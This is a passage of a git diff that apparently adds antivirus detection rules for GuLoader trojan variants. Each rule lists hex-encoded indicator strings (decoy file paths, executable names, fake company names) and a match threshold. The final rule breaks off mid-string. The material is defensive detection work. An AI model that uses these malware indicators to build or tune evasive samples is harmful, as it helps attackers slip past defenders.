b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBM_MTB.yar @@ -10,4 +10,19 @@ rule Trojan_Win32_GuLoader_RBM_MTB{ condition: ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=3 +} +rule Trojan_Win32_GuLoader_RBM_MTB_2{ + meta: + description = "Trojan:Win32/GuLoader.RBM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 00 " + + strings : + $a_81_0 = {5c 70 6c 61 6e 75 6c 61 72 5c 75 6e 64 65 72 76 69 73 6e 69 6e 67 73 6f 6d 72 61 61 64 65 74 73 } //1 \planular\undervisningsomraadets + $a_81_1 = {5c 46 65 72 6d 65 6e 74 65 72 65 74 31 35 36 5c 6f 63 63 6c 75 73 6f 63 65 72 76 69 63 61 6c } //1 \Fermenteret156\occlusocervical + $a_81_2 = {68 6f 6e 6f 72 65 72 65 64 65 73 2e 61 75 74 } //1 honoreredes.aut + $a_81_3 = {5c 43 61 74 68 79 5c 2a 2e 62 69 6e } //1 \Cathy\*.bin + $a_81_4 = {25 6d 75 67 67 65 72 79 25 5c 4f 78 79 67 65 6e 73 5c 46 6c 65 74 66 69 6c 65 6e } //1 %muggery%\Oxygens\Fletfilen + $a_81_5 = {5c 65 6e 65 76 72 65 6c 73 65 72 2e 69 6e 69 } //1 \enevrelser.ini + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1) >=4 + } \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBN_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBN_MTB.yar index 37f40b26a1..1ae12e065f 100644 --- a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBN_MTB.yar +++ b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBN_MTB.yar @@ -1,5 +1,18 @@ rule Trojan_Win32_GuLoader_RBN_MTB{ + meta: + description = "Trojan:Win32/GuLoader.RBN!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_81_0 = {41 6c 6c 69 65 64 20 57 61 73 74 65 20 49 6e 64 75 73 74 72 69 65 73 2c 20 49 6e 63 2e } //1 Allied Waste Industries, Inc. + $a_81_1 = {4d 65 74 61 6c 64 79 6e 65 20 43 6f 72 70 6f 72 61 74 69 6f 6e } //1 Metaldyne Corporation + $a_81_2 = {53 6f 75 74 68 77 65 73 74 20 41 69 72 6c 69 6e 65 73 20 43 6f } //1 Southwest Airlines Co + $a_81_3 = {66 6f 72 6d 62 6c 69 6e 67 65 6e 20 73 74 61 74 75 73 65 73 2e 65 78 65 } //1 formblingen statuses.exe + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1) >=4 + +} +rule Trojan_Win32_GuLoader_RBN_MTB_2{ meta: description = "Trojan:Win32/GuLoader.RBN!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " @@ -13,7 +26,7 @@ rule Trojan_Win32_GuLoader_RBN_MTB{ ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1) >=5 } -rule Trojan_Win32_GuLoader_RBN_MTB_2{ +rule Trojan_Win32_GuLoader_RBN_MTB_3{ meta: description = "Trojan:Win32/GuLoader.RBN!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 00 " diff --git a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBW_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBW_MTB.yar new file mode 100644 index 0000000000..f9759cfc76 --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBW_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_GuLoader_RBW_MTB{ + meta: + description = "Trojan:Win32/GuLoader.RBW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_81_0 = {53 6f 66 74 77 61 72 65 5c 6a 65 7a 61 69 6c 5c 73 70 75 72 76 65 75 6e 67 65 72 6e 65 73 } //1 Software\jezail\spurveungernes + $a_81_1 = {5c 70 6c 61 6e 6b 65 76 72 6b 65 74 5c 70 65 74 75 6e 69 61 } //1 \plankevrket\petunia + $a_81_2 = {64 61 6d 70 73 6b 69 62 73 66 6f 72 62 69 6e 64 65 6c 73 65 20 62 72 6f 67 75 65 73 20 68 75 6d 6f 72 70 72 6f 6f 66 } //1 dampskibsforbindelse brogues humorproof + $a_81_3 = {70 6f 73 6e 61 6e 69 61 6e } //1 posnanian + $a_81_4 = {61 6e 76 65 6e 64 65 6c 73 65 73 66 6f 72 6d 61 61 6c 65 6e 65 73 20 63 6c 6f 73 65 6f 75 74 2e 65 78 65 } //1 anvendelsesformaalenes closeout.exe + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBX_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBX_MTB.yar new file mode 100644 index 0000000000..b23babafa2 --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBX_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_GuLoader_RBX_MTB{ + meta: + description = "Trojan:Win32/GuLoader.RBX!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_81_0 = {69 6e 64 65 73 6c 75 74 20 66 72 69 74 69 64 73 62 75 6b 73 65 72 20 6b 76 61 64 65 72 73 74 65 6e } //1 indeslut fritidsbukser kvadersten + $a_81_1 = {66 65 72 69 65 72 65 6a 73 65 6e 64 65 20 73 63 72 75 70 6c 65 } //1 ferierejsende scruple + $a_81_2 = {68 76 6f 72 64 61 6e } //1 hvordan + $a_81_3 = {70 72 65 6d 6f 75 72 6e } //1 premourn + $a_81_4 = {70 72 6f 66 66 65 73 69 6f 6e 65 6c 6c 65 2e 65 78 65 } //1 proffesionelle.exe + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBY_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBY_MTB.yar new file mode 100644 index 0000000000..c2b8215b8a --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBY_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_GuLoader_RBY_MTB{ + meta: + description = "Trojan:Win32/GuLoader.RBY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_81_0 = {5c 57 69 74 6e 65 73 73 65 72 73 31 35 33 5c 72 61 61 62 74 65 5c 61 6d 75 6c 65 74 74 65 72 73 } //1 \Witnessers153\raabte\amuletters + $a_81_1 = {72 65 61 73 6f 6e 69 6e 67 73 20 64 65 6d 6f 72 61 6c 69 73 65 72 20 72 61 64 69 6f 61 6d 70 6c 69 66 69 65 72 } //1 reasonings demoraliser radioamplifier + $a_81_2 = {63 6f 6d 6d 69 6e 67 6c 65 72 20 64 69 61 6c 79 73 65 73 } //1 commingler dialyses + $a_81_3 = {73 77 6f 72 64 67 72 61 73 73 } //1 swordgrass + $a_81_4 = {61 70 70 72 69 7a 61 6c 2e 65 78 65 } //1 apprizal.exe + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBZ_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBZ_MTB.yar new file mode 100644 index 0000000000..36b0d54a1c --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RBZ_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_Win32_GuLoader_RBZ_MTB{ + meta: + description = "Trojan:Win32/GuLoader.RBZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 00 " + + strings : + $a_81_0 = {5c 61 72 69 7a 6f 6e 69 61 6e 73 5c 74 6f 6c 6c 6f } //1 \arizonians\tollo + $a_81_1 = {69 6e 64 73 20 61 6e 74 69 70 72 6f 64 75 63 74 69 76 65 20 70 61 6e 74 6f 6d 65 74 72 69 63 61 6c } //1 inds antiproductive pantometrical + $a_81_2 = {69 6e 74 65 6c 6c 69 67 65 6e 63 65 72 20 70 72 61 6b 74 69 6b 61 62 6c 65 } //1 intelligencer praktikable + $a_81_3 = {74 72 6f 63 68 61 69 63 61 6c 69 74 79 20 61 63 68 72 6f 6d 6f 74 72 69 63 68 69 61 20 75 6e 6f 6d 6e 69 70 6f 74 65 6e 74 6c 79 } //1 trochaicality achromotrichia unomnipotently + $a_81_4 = {62 61 72 6d 68 6a 65 72 74 69 67 74 } //1 barmhjertigt + $a_81_5 = {61 6e 74 69 63 69 70 65 72 65 74 20 73 6b 72 76 65 62 65 6c 67 6e 69 6e 67 65 6e 73 } //1 anticiperet skrvebelgningens + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_SUB_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_SUB_MTB.yar new file mode 100644 index 0000000000..8897d8c9b0 --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_SUB_MTB.yar @@ -0,0 +1,18 @@ + +rule Trojan_Win32_GuLoader_SUB_MTB{ + meta: + description = "Trojan:Win32/GuLoader.SUB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 00 " + + strings : + $a_81_0 = {5c 73 63 65 70 74 72 79 5c 64 65 63 69 62 65 6c 73 5c 70 72 69 73 6b 6c 61 73 73 65 72 } //1 \sceptry\decibels\prisklasser + $a_81_1 = {5c 72 65 73 65 72 76 65 6f 66 66 69 63 65 72 65 72 73 2e 6a 70 67 } //1 \reserveofficerers.jpg + $a_81_2 = {5c 6b 75 6e 73 74 66 72 64 69 67 74 2e 6c 6e 6b } //1 \kunstfrdigt.lnk + $a_81_3 = {5c 43 6f 74 79 6c 6f 70 68 6f 72 6f 75 73 5c 43 61 6c 76 69 6e 69 73 74 65 6e 2e 7a 69 70 } //1 \Cotylophorous\Calvinisten.zip + $a_81_4 = {5c 61 66 66 75 74 61 67 65 72 5c 62 6f 75 67 61 69 6e 76 69 6c 6c 61 65 61 73 2e 69 6e 69 } //1 \affutager\bougainvillaeas.ini + $a_81_5 = {50 72 6f 68 75 6d 61 6e 69 73 74 69 63 31 2e 73 69 6c } //1 Prohumanistic1.sil + $a_81_6 = {63 61 72 61 76 61 6e 69 73 74 2e 6d 65 6d } //1 caravanist.mem + $a_81_7 = {72 65 64 61 6b 74 72 65 6e 2e 66 72 69 } //1 redaktren.fri + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1) >=8 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_SUD_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_SUD_MTB.yar new file mode 100644 index 0000000000..2ab4dacf1e --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_SUD_MTB.yar @@ -0,0 +1,18 @@ + +rule Trojan_Win32_GuLoader_SUD_MTB{ + meta: + description = "Trojan:Win32/GuLoader.SUD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 00 " + + strings : + $a_81_0 = {5c 53 61 64 64 65 6c 74 61 67 73 31 38 33 } //1 \Saddeltags183 + $a_81_1 = {5c 53 6f 76 65 70 6f 73 65 72 5c 62 72 79 73 74 68 75 6c 65 2e 74 78 74 } //1 \Soveposer\brysthule.txt + $a_81_2 = {5c 47 72 75 73 67 72 61 76 65 31 39 31 5c 61 66 67 69 66 74 73 6f 72 64 6e 69 6e 67 65 72 6e 65 73 2e 7a 69 70 } //1 \Grusgrave191\afgiftsordningernes.zip + $a_81_3 = {50 79 72 61 6d 69 64 65 6c 6c 61 2e 65 6e 6a } //1 Pyramidella.enj + $a_81_4 = {53 65 6e 74 69 6e 65 6c 6c 69 6e 67 2e 6f 63 63 } //1 Sentinelling.occ + $a_81_5 = {62 65 74 69 6e 67 65 64 65 2e 70 65 61 } //1 betingede.pea + $a_81_6 = {5c 54 75 72 62 6f 6a 65 74 74 65 72 6e 65 73 31 32 39 5c 73 61 6e 65 72 69 6e 67 73 70 6c 61 6e 65 72 2e 7a 69 70 } //1 \Turbojetternes129\saneringsplaner.zip + $a_81_7 = {5c 62 65 6d 75 73 65 64 5c 68 61 6c 69 63 6f 74 } //1 \bemused\halicot + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1) >=8 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_SUE_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_SUE_MTB.yar new file mode 100644 index 0000000000..8867b226f1 --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_SUE_MTB.yar @@ -0,0 +1,18 @@ + +rule Trojan_Win32_GuLoader_SUE_MTB{ + meta: + description = "Trojan:Win32/GuLoader.SUE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 00 " + + strings : + $a_81_0 = {5c 7a 61 72 69 6e 61 73 5c 61 61 72 65 66 6f 72 66 65 64 74 6e 69 6e 67 65 6e 73 } //1 \zarinas\aareforfedtningens + $a_81_1 = {5c 43 68 61 70 65 6c 72 79 37 36 2e 62 6d 70 } //1 \Chapelry76.bmp + $a_81_2 = {44 65 6b 6c 61 6d 61 74 6f 72 65 6e 73 2e 74 72 6f } //1 Deklamatorens.tro + $a_81_3 = {53 75 74 74 65 6b 6c 75 64 65 6e 65 2e 72 65 6c } //1 Suttekludene.rel + $a_81_4 = {64 75 6d 72 69 61 6e 73 2e 74 61 66 } //1 dumrians.taf + $a_81_5 = {70 72 65 70 65 6e 64 2e 6b 6f 6e } //1 prepend.kon + $a_81_6 = {5c 65 71 75 69 6f 6d 6e 69 70 6f 74 65 6e 74 5c 76 61 6e 67 65 72 73 2e 74 78 74 } //1 \equiomnipotent\vangers.txt + $a_81_7 = {72 69 64 69 63 75 6c 69 73 65 5c 74 6f 73 73 65 68 6f 76 65 64 65 72 6e 65 73 5c } //1 ridiculise\tossehovedernes\ + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1) >=8 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_SUF_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_SUF_MTB.yar new file mode 100644 index 0000000000..5cf9ef9bc0 --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_SUF_MTB.yar @@ -0,0 +1,20 @@ + +rule Trojan_Win32_GuLoader_SUF_MTB{ + meta: + description = "Trojan:Win32/GuLoader.SUF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 00 " + + strings : + $a_81_0 = {5c 42 61 6c 6c 6f 74 65 72 65 74 2e 67 69 66 } //1 \Balloteret.gif + $a_81_1 = {5c 61 63 71 75 65 6e 74 2e 69 6e 69 } //1 \acquent.ini + $a_81_2 = {5c 73 74 72 61 6e 64 62 72 65 64 64 65 72 73 2e 68 74 6d } //1 \strandbredders.htm + $a_81_3 = {5c 56 69 73 69 6f 6e 65 72 5c 70 6f 73 74 69 63 61 6c 6c 79 2e 7a 69 70 } //1 \Visioner\postically.zip + $a_81_4 = {5c 70 72 65 74 72 65 72 6e 65 73 5c 6d 75 73 65 75 6d 73 2e 6a 70 67 } //1 \pretrernes\museums.jpg + $a_81_5 = {65 74 68 79 6c 65 6e 69 63 61 6c 6c 79 5c 74 65 6d 62 6c 6f 72 73 2e 74 78 74 } //1 ethylenically\temblors.txt + $a_81_6 = {5c 4d 65 61 31 37 35 2e 65 78 65 } //1 \Mea175.exe + $a_81_7 = {5c 64 69 61 6c 6f 67 62 6f 6b 73 65 5c 6e 65 64 73 6c 61 67 74 65 64 65 2e 74 78 74 } //1 \dialogbokse\nedslagtede.txt + $a_81_8 = {5c 75 61 72 62 65 6a 64 73 64 79 67 74 69 67 65 73 5c 67 6f 64 73 74 65 72 6d 69 6e 61 6c 65 72 6e 65 73 2e 69 6e 69 } //1 \uarbejdsdygtiges\godsterminalernes.ini + $a_81_9 = {50 68 65 6e 6f 6d 65 6e 61 6c 69 7a 65 34 36 2e 69 6e 69 } //1 Phenomenalize46.ini + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_SUG_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_SUG_MTB.yar new file mode 100644 index 0000000000..87dfb3af87 --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_SUG_MTB.yar @@ -0,0 +1,20 @@ + +rule Trojan_Win32_GuLoader_SUG_MTB{ + meta: + description = "Trojan:Win32/GuLoader.SUG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 00 " + + strings : + $a_81_0 = {5c 70 61 72 6f 64 69 5c 6e 6f 6e 65 78 63 65 70 74 69 6f 6e 61 6c 6c 79 2e 6c 6e 6b } //1 \parodi\nonexceptionally.lnk + $a_81_1 = {5c 56 65 6e 73 6b 61 62 73 62 79 65 72 6e 65 73 32 33 34 5c 62 72 65 61 74 68 73 2e 6a 70 67 } //1 \Venskabsbyernes234\breaths.jpg + $a_81_2 = {47 6f 64 65 74 36 35 2e 67 79 74 } //1 Godet65.gyt + $a_81_3 = {67 65 6e 67 6c 64 65 6c 73 65 72 73 2e 75 6e 66 } //1 gengldelsers.unf + $a_81_4 = {6f 76 65 72 66 6f 72 73 69 6b 72 65 2e 6d 65 64 } //1 overforsikre.med + $a_81_5 = {73 75 6d 6d 65 72 69 65 73 74 2e 61 70 70 } //1 summeriest.app + $a_81_6 = {5c 73 75 72 63 68 61 72 67 65 73 2e 69 6e 69 } //1 \surcharges.ini + $a_81_7 = {5c 53 6e 61 69 6c 65 72 79 5c 41 64 6d 69 6e 69 73 74 72 61 6e 74 2e 69 6e 69 } //1 \Snailery\Administrant.ini + $a_81_8 = {5c 6b 6e 6c 65 64 65 6e 65 2e 69 6e 69 } //1 \knledene.ini + $a_81_9 = {5c 61 62 6f 6c 69 74 69 6f 6e 69 73 65 64 5c 61 6e 74 69 65 6e 64 6f 77 6d 65 6e 74 2e 69 6e 69 } //1 \abolitionised\antiendowment.ini + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_Guloader_AO_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_AO_MTB.yar new file mode 100644 index 0000000000..ffa01bbc8c --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_AO_MTB.yar @@ -0,0 +1,17 @@ + +rule Trojan_Win32_Guloader_AO_MTB{ + meta: + description = "Trojan:Win32/Guloader.AO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 00 " + + strings : + $a_81_0 = {6b 6f 6d 6d 75 6e 69 6b 61 74 69 6f 6e 73 6b 6f 6d 6d 61 6e 64 6f 2e 72 65 74 } //1 kommunikationskommando.ret + $a_81_1 = {41 6b 6b 76 69 73 69 74 69 76 74 2e 6c 6e 6b } //1 Akkvisitivt.lnk + $a_81_2 = {46 69 62 65 72 74 69 6c 73 6b 75 64 2e 48 6f 6d } //1 Fibertilskud.Hom + $a_81_3 = {50 52 4f 47 52 41 4d 46 49 4c 45 53 25 5c 49 6e 66 61 6e 74 65 72 69 65 6e 68 65 64 65 72 32 2e 66 61 6e } //1 PROGRAMFILES%\Infanterienheder2.fan + $a_81_4 = {42 69 6e 64 65 6d 69 64 64 65 6c 65 74 73 31 32 30 2e 64 6c 6c } //1 Bindemiddelets120.dll + $a_81_5 = {53 6e 69 67 6c 62 65 32 32 35 2e 48 41 4e } //1 Sniglbe225.HAN + $a_81_6 = {49 6e 6b 61 6d 69 6e 61 74 69 6f 6e 65 6e 73 2e 73 74 72 } //1 Inkaminationens.str + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_Guloader_AQ_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_AQ_MTB.yar new file mode 100644 index 0000000000..ba8a3767df --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_AQ_MTB.yar @@ -0,0 +1,17 @@ + +rule Trojan_Win32_Guloader_AQ_MTB{ + meta: + description = "Trojan:Win32/Guloader.AQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 00 " + + strings : + $a_81_0 = {69 6e 74 65 72 72 75 70 74 6f 72 79 5c 64 72 69 66 74 73 63 68 65 66 73 2e 7a 69 70 } //1 interruptory\driftschefs.zip + $a_81_1 = {62 72 75 67 65 72 64 69 73 63 69 70 6c 69 6e 65 6e 5c 61 6b 74 75 61 72 65 6e 2e 74 78 74 } //1 brugerdisciplinen\aktuaren.txt + $a_81_2 = {66 61 63 6f 6e 73 74 61 61 6c 65 74 5c 67 75 61 68 69 62 61 6e } //1 faconstaalet\guahiban + $a_81_3 = {69 6d 6d 61 74 75 72 65 73 5c 64 69 76 69 64 65 72 65 72 5c 70 61 6c 65 6f 73 74 79 6c 69 63 } //1 immatures\dividerer\paleostylic + $a_81_4 = {6d 6f 6e 6f 75 72 65 69 64 65 2e 62 69 6e } //1 monoureide.bin + $a_81_5 = {73 75 62 74 69 6c 69 73 65 64 5c 65 73 71 75 69 6c 69 6e 65 2e 69 6e 69 } //1 subtilised\esquiline.ini + $a_81_6 = {6c 79 63 6f 70 65 72 64 6f 6e 2e 63 79 6c } //1 lycoperdon.cyl + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_Guloader_AR_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_AR_MTB.yar new file mode 100644 index 0000000000..9766bf8cbd --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_AR_MTB.yar @@ -0,0 +1,17 @@ + +rule Trojan_Win32_Guloader_AR_MTB{ + meta: + description = "Trojan:Win32/Guloader.AR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 00 " + + strings : + $a_01_0 = {43 6f 6c 6f 62 69 75 6d 32 39 5c 4e 6f 6d 61 64 65 6e 2e 64 6c 6c } //1 Colobium29\Nomaden.dll + $a_01_1 = {6d 61 64 6c 61 76 6e 69 6e 67 73 73 6b 72 69 62 65 6e 74 65 72 5c 6c 69 70 6f 74 72 6f 70 79 2e 69 6e 69 } //1 madlavningsskribenter\lipotropy.ini + $a_01_2 = {52 65 63 6f 72 70 6f 72 69 66 79 5c 65 6e 68 6a 72 6e 69 6e 67 73 2e 69 6e 69 } //1 Recorporify\enhjrnings.ini + $a_01_3 = {52 65 6e 6f 6d 6d 65 65 72 73 5c 54 6f 62 61 6b 73 61 73 6b 65 73 2e 62 69 6e } //1 Renommeers\Tobaksaskes.bin + $a_01_4 = {6f 72 67 61 73 6d 65 72 6e 65 2e 69 6e 69 } //1 orgasmerne.ini + $a_01_5 = {73 6b 6f 76 68 75 67 73 74 65 6e 5c 78 69 70 68 6f 70 61 67 6f 75 73 2e 68 74 6d } //1 skovhugsten\xiphopagous.htm + $a_01_6 = {52 61 6d 6d 65 6c 6f 76 65 73 32 32 32 2e 69 6e 69 } //1 Rammeloves222.ini + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_Guloader_ASK_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_ASK_MTB.yar new file mode 100644 index 0000000000..1d6750d01f --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_ASK_MTB.yar @@ -0,0 +1,17 @@ + +rule Trojan_Win32_Guloader_ASK_MTB{ + meta: + description = "Trojan:Win32/Guloader.ASK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 00 " + + strings : + $a_01_0 = {45 79 65 6c 65 73 73 6e 65 73 73 5c 63 61 72 6f 75 73 61 6c 73 5c 6b 61 6d 6d 65 72 6a 75 6e 6b 65 72 6e 65 73 } //1 Eyelessness\carousals\kammerjunkernes + $a_01_1 = {75 70 62 75 6f 79 5c 53 65 69 67 6e 69 6f 72 61 67 65 2e 68 74 6d } //1 upbuoy\Seigniorage.htm + $a_01_2 = {62 6c 6f 6b 74 69 6c 62 61 67 65 6b 6f 62 6c 69 6e 67 73 63 68 69 70 5c 6d 61 74 68 65 6d 61 74 69 63 69 7a 65 } //1 bloktilbagekoblingschip\mathematicize + $a_01_3 = {42 61 64 65 76 72 65 6c 73 65 72 73 2e 69 6d 70 } //1 Badevrelsers.imp + $a_01_4 = {73 6b 6e 64 73 65 6c 73 67 65 72 6e 69 6e 67 65 72 6e 65 73 2e 74 78 74 } //1 skndselsgerningernes.txt + $a_01_5 = {64 75 6c 63 69 66 69 63 61 74 69 6f 6e 2e 69 6e 69 } //1 dulcification.ini + $a_01_6 = {76 69 64 65 6f 62 61 61 6e 64 6f 70 74 61 67 65 72 65 6e 2e 73 65 6e } //1 videobaandoptageren.sen + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_Guloader_ASL_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_ASL_MTB.yar new file mode 100644 index 0000000000..00c7d5b001 --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_ASL_MTB.yar @@ -0,0 +1,17 @@ + +rule Trojan_Win32_Guloader_ASL_MTB{ + meta: + description = "Trojan:Win32/Guloader.ASL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 00 " + + strings : + $a_01_0 = {6c 6f 65 73 72 69 76 65 6c 73 65 6e 2e 65 78 65 } //1 loesrivelsen.exe + $a_01_1 = {48 79 6c 64 65 62 75 73 6b 65 6e 65 5c 70 72 6f 64 75 6b 74 69 6f 6e 73 72 65 67 65 6c 73 2e 67 69 66 } //1 Hyldebuskene\produktionsregels.gif + $a_01_2 = {52 65 67 69 6d 65 6e 74 73 73 74 61 62 65 31 37 30 5c 76 69 61 6e 6e 61 73 2e 6c 6e 6b } //1 Regimentsstabe170\viannas.lnk + $a_01_3 = {41 6c 61 72 6d 69 6a 72 31 38 34 5c 67 6f 72 6d 61 6e 64 69 7a 69 6e 67 2e 69 6e 69 } //1 Alarmijr184\gormandizing.ini + $a_01_4 = {76 69 74 75 70 65 72 5c 76 65 63 74 6f 72 69 61 6c 6c 79 2e 6a 70 67 } //1 vituper\vectorially.jpg + $a_01_5 = {6d 79 73 74 69 66 69 6b 61 74 69 6f 6e 65 72 6e 65 73 